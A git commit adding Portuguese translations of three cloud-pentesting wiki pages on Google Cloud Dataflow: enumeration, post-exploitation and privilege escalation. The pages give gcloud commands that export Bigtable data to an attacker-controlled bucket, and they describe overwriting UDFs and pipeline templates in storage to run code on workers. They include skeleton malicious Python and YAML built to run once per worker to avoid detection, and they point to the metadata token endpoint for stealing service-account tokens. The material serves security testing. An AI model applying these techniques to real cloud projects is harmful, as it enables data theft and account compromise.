Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2026-02-16 11:12:23 +00:00
parent 81e3d09f95
commit 625d1d80bb
3 changed files with 304 additions and 0 deletions

View File

@@ -0,0 +1,53 @@
# GCP - Dataflow Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Dataflow
Para mais informações sobre Dataflow, consulte:
{{#ref}}
../gcp-services/gcp-dataflow-enum.md
{{#endref}}
### Using Dataflow to exfiltrate data from other services
**Permissões:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (sobre uma SA com acesso à origem e ao destino)
Com privilégios para criar jobs do Dataflow, você pode usar templates do GCP Dataflow para exportar dados do Bigtable, BigQuery, Pub/Sub e outros serviços para buckets GCS controlados pelo atacante. Isto é uma poderosa técnica de post-exploitation quando você obteve acesso ao Dataflow — por exemplo via o [Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md) privilege escalation (pipeline takeover via bucket write).
> [!NOTE]
> Você precisa de `iam.serviceAccounts.actAs` sobre uma conta de serviço com permissões suficientes para ler a origem e escrever no destino. Por padrão, a Compute Engine default SA é usada se não for especificada.
#### Bigtable to GCS
Veja [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket" para o padrão completo. Templates: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`.
<details>
<summary>Export Bigtable to attacker-controlled bucket</summary>
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<YOUR_BUCKET>/raw-json/ \
--staging-location=gs://<YOUR_BUCKET>/staging/
```
</details>
#### BigQuery para GCS
Templates do Dataflow existem para exportar dados do BigQuery. Use o template apropriado para o formato alvo (JSON, Avro, etc.) e aponte a saída para o seu bucket.
#### Pub/Sub e fontes de streaming
Pipelines de streaming podem ler do Pub/Sub (ou de outras fontes) e escrever no GCS. Inicie um job com um template que leia da subscription do Pub/Sub alvo e escreva no seu bucket controlado.
## Referências
- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates)
- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,170 @@
# GCP - Dataflow Privilege Escalation
{{#include ../../../banners/hacktricks-training.md}}
## Dataflow
{{#ref}}
../gcp-services/gcp-dataflow-enum.md
{{#endref}}
### `storage.objects.create`, `storage.objects.get`, `storage.objects.update`
Dataflow não valida a integridade de UDFs e dos YAMLs de template de job armazenados no GCS. Com acesso de escrita ao bucket, você pode sobrescrever esses arquivos para injetar código, executar código nos workers, roubar tokens de service account ou alterar o processamento de dados. Tanto jobs de pipeline batch quanto streaming são alvos viáveis para este ataque. Para executar esse ataque em uma pipeline, precisamos substituir UDFs/templates antes do job rodar, durante os primeiros minutos (antes dos workers do job serem criados) ou durante a execução do job antes que novos workers sejam iniciados (devido ao autoscaling).
**Attack vectors:**
- **UDF hijacking:** Python (`.py`) and JS (`.js`) UDFs referenced by pipelines and stored in customer-managed buckets
- **Job template hijacking:** Custom YAML pipeline definitions stored in customer-managed buckets
> [!WARNING]
> **Run-once-per-worker trick:** Dataflow UDFs e callables de template são invocados **por linha/registro**. Sem coordenação, exfiltração ou roubo de tokens seria executado milhares de vezes, causando ruído, limites de taxa e detecção. Use um padrão de **coordenação baseado em arquivo**: verifique se um arquivo marcador (por exemplo, `/tmp/pwnd.txt`) existe no início; se existir, pule o código malicioso; caso contrário, execute o payload e crie o arquivo. Isso garante que o payload seja executado **uma vez por worker**, não por linha.
#### Exploração direta via gcloud CLI
1. Enumere os jobs do Dataflow e localize os caminhos GCS do template/UDF:
<details>
<summary>Liste os jobs e execute describe para obter o caminho do template, staging location e referências de UDF</summary>
```bash
# List jobs (optionally filter by region)
gcloud dataflow jobs list --region=<region>
gcloud dataflow jobs list --project=<PROJECT_ID>
# Describe a job to get template GCS path, staging location, and any UDF/template references
gcloud dataflow jobs describe <JOB_ID> --region=<region> --full --format="yaml"
# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH)
# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath
```
</details>
2. Baixe o UDF original ou o template de job do GCS:
<details>
<summary>Baixe o arquivo UDF ou o template YAML do bucket</summary>
```bash
# If job references a UDF at gs://bucket/path/to/udf.py
gcloud storage cp gs://<BUCKET>/<PATH>/<udf_file>.py ./udf_original.py
# Or for a YAML job template
gcloud storage cp gs://<BUCKET>/<PATH>/<template>.yaml ./template_original.yaml
```
</details>
3. Edite o arquivo localmente: injete a payload maliciosa (veja os trechos Python UDF ou YAML abaixo) e garanta que o padrão de coordenação run-once seja usado.
4. Reenvie para sobrescrever o arquivo original:
<details>
<summary>Sobrescrever UDF ou template no bucket</summary>
```bash
gcloud storage cp ./udf_injected.py gs://<BUCKET>/<PATH>/<udf_file>.py
# Or for YAML
gcloud storage cp ./template_injected.yaml gs://<BUCKET>/<PATH>/<template>.yaml
```
</details>
5. Aguarde a próxima execução do job, ou (para streaming) acione o autoscaling (por exemplo, inunde a entrada do pipeline) para que novos workers inicializem e baixem o arquivo modificado.
#### Python UDF injection
Se você quiser que o worker exfiltre dados para seu servidor C2, use `urllib.request` e não `requests`. `requests` não está pré-instalado nos classic Dataflow workers.
<details>
<summary>UDF malicioso com coordenação run-once e extração de metadados</summary>
```python
import os
import json
import urllib.request
from datetime import datetime
def _malicious_func():
# File-based coordination: run once per worker.
coordination_file = "/tmp/pwnd.txt"
if os.path.exists(coordination_file):
return
# malicous code goes here
with open(coordination_file, "w", encoding="utf-8") as f:
f.write("done")
def transform(line):
# Malicous code entry point - runs per line but coordination ensures once per worker
try:
_malicious_func()
except Exception:
pass
# ... original UDF logic follows ...
```
</details>
#### Job template YAML injection
Injete uma etapa `MapToFields` com um callable que usa um arquivo de coordenação. Para pipelines baseados em YAML que suportam `requests`, use-o se o template declarar `dependencies: [requests]`; caso contrário, prefira `urllib.request`.
Adicione a etapa de limpeza (`drop: [malicious_step]`) para que o pipeline ainda escreva dados válidos no destino.
<details>
<summary>Etapa Maliciosa MapToFields e limpeza no YAML do pipeline</summary>
```yaml
- name: MaliciousTransform
type: MapToFields
input: Transform
config:
language: python
fields:
malicious_step:
callable: |
def extract_and_return(row):
import os
import json
from datetime import datetime
coordination_file = "/tmp/pwnd.txt"
if os.path.exists(coordination_file):
return True
try:
import urllib.request
# malicious code goes here
with open(coordination_file, "w", encoding="utf-8") as f:
f.write("done")
except Exception:
pass
return True
append: true
- name: CleanupTransform
type: MapToFields
input: MaliciousTransform
config:
fields: {}
append: true
drop:
- malicious_step
```
</details>
### Compute Engine access to Dataflow Workers
**Permissões:** `compute.instances.osLogin` or `compute.instances.osAdminLogin` (com `iam.serviceAccounts.actAs` sobre o worker SA), ou `compute.instances.setMetadata` / `compute.projects.setCommonInstanceMetadata` (com `iam.serviceAccounts.actAs`) para injeção de chaves SSH legada
Os Dataflow workers rodam como VMs do Compute Engine. Acesso aos workers via OS Login ou SSH permite ler tokens do SA do endpoint de metadata (`http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token`), manipular dados ou executar código arbitrário.
Para detalhes de exploração, veja:
- [GCP - Compute Privesc](gcp-compute-privesc/README.md) — `compute.instances.osLogin`, `compute.instances.osAdminLogin`, `compute.instances.setMetadata`
## Referências
- [Dataflow Rider: How Attackers can Abuse Shadow Resources in Google Cloud Dataflow](https://www.varonis.com/blog/dataflow-rider)
- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
- [gcloud dataflow jobs describe](https://cloud.google.com/sdk/gcloud/reference/dataflow/jobs/describe)
- [Apache Beam YAML: User-defined functions](https://beam.apache.org/documentation/sdks/yaml-udf/)
- [Apache Beam YAML Transform Reference](https://beam.apache.org/releases/yamldoc/current/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,81 @@
# GCP - Enumeração do Dataflow
{{#include ../../../banners/hacktricks-training.md}}
## Informações Básicas
**Google Cloud Dataflow** é um serviço totalmente gerenciado para **processamento de dados em batch e streaming**. Ele permite que organizações construam pipelines que transformam e analisam dados em escala, integrando-se com Cloud Storage, BigQuery, Pub/Sub e Bigtable. Pipelines do Dataflow rodam em worker VMs no seu projeto; templates e User-Defined Functions (UDFs) frequentemente são armazenados em buckets do GCS. [Learn more](https://cloud.google.com/dataflow).
## Componentes
Um pipeline do Dataflow tipicamente inclui:
**Template:** definições YAML ou JSON (e código Python/Java para flex templates) armazenadas no GCS que definem a estrutura e as etapas do pipeline.
**Launcher (Flex Templates):** uma instância Compute Engine de curta duração pode ser usada para lançamentos de Flex Template para validar o template e preparar containers antes do job ser executado.
**Workers:** VMs do Compute Engine que executam as tarefas reais de processamento de dados, puxando UDFs e instruções do template.
**Staging/Temp buckets:** buckets do GCS que armazenam dados temporários do pipeline, artefatos do job, arquivos UDF, metadata de flex template (`.json`).
## Batch vs Streaming Jobs
O Dataflow suporta dois modos de execução:
**Batch jobs:** processam um conjunto de dados fixo e delimitado (ex.: um arquivo de log, uma exportação de tabela). O job roda uma vez até a conclusão e então é encerrado. Workers são criados pela duração do job e desligados quando concluído. Batch jobs são tipicamente usados para ETL, análise histórica ou migrações de dados agendadas.
**Streaming jobs:** processam dados não delimitados, que chegam continuamente (ex.: mensagens Pub/Sub, feeds de sensores em tempo real). O job roda até ser explicitamente parado. Workers podem escalar para cima e para baixo; novos workers podem ser criados devido ao autoscaling, e eles puxarão componentes do pipeline (templates, UDFs) do GCS na inicialização.
## Enumeração
Jobs do Dataflow e recursos relacionados podem ser enumerados para coletar service accounts, caminhos de template, staging buckets e localizações de UDF.
### Enumeração de Jobs
Para enumerar jobs do Dataflow e recuperar seus detalhes:
```bash
# List Dataflow jobs in the project
gcloud dataflow jobs list
# List Dataflow jobs (by region)
gcloud dataflow jobs list --region=<region>
# Describe job (includes service account, template GCS path, staging location, parameters)
gcloud dataflow jobs describe <job-id> --region=<region>
```
As descrições de jobs revelam o caminho do template no GCS, o local de staging e a conta de serviço do worker — úteis para identificar buckets que armazenam componentes do pipeline.
### Enumeração de Template e Buckets
Buckets referenciados nas descrições de jobs podem conter flex templates, UDFs, ou definições de pipeline em YAML:
```bash
# List objects in a bucket (look for .json flex templates, .py UDFs, .yaml pipeline defs)
gcloud storage ls gs://<bucket>/
# List objects recursively
gcloud storage ls gs://<bucket>/**
```
## Escalada de Privilégios
{{#ref}}
../gcp-privilege-escalation/gcp-dataflow-privesc.md
{{#endref}}
## Pós-exploração
{{#ref}}
../gcp-post-exploitation/gcp-dataflow-post-exploitation.md
{{#endref}}
## Persistência
{{#ref}}
../gcp-persistence/gcp-dataflow-persistence.md
{{#endref}}
## Referências
- [Visão geral do Dataflow](https://cloud.google.com/dataflow)
- [Execução do fluxo de trabalho de pipeline no Dataflow](https://cloud.google.com/dataflow/docs/guides/pipeline-workflows)
- [Solução de problemas de templates](https://cloud.google.com/dataflow/docs/guides/troubleshoot-templates)
{{#include ../../../banners/hacktricks-training.md}}